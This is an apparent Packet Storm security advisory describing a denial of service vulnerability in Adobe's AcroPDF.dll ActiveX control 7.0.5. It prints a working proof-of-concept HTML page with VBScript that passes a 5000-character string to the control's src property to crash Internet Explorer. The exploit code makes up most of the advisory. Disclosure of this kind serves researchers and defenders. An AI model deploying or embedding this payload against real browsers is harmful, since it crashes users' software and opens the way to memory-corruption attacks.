Adobe's AcroPDF.dll Active-X controller version 7.0.5 suffers from a denial of service vulnerability. Proof of concept code included.
e2f760594e35ad2f78542900bf23c1fe3c24c3c59698335541a9bd9414797cab Adobe browser document ActiveX DoS vulnerablity
File: AcroPDF.dll
Affected version : 7.0.5 . Later versions are also effected
Description:
RegKey Safe for Script: True
RegKey Safe for Init: True
POC:
Create a HTML file with following Code and test it on IE
<html>
Test Exploit page
<object classid='clsid:CA8A9780-280D-
11CF-A24D-444553540000' id='target' ></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroPDF.dll"
prototype = "Property Let src As String"
memberName = "src"
progid = "AcroPDFLib.AcroPDF"
argCount = 1
arg1=String(5000, "A")
target.src = arg1
</script>
--
Beenu Arora
M.C.S.E. , C|EH
+91-9911254288
www.BeenuArora.com
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed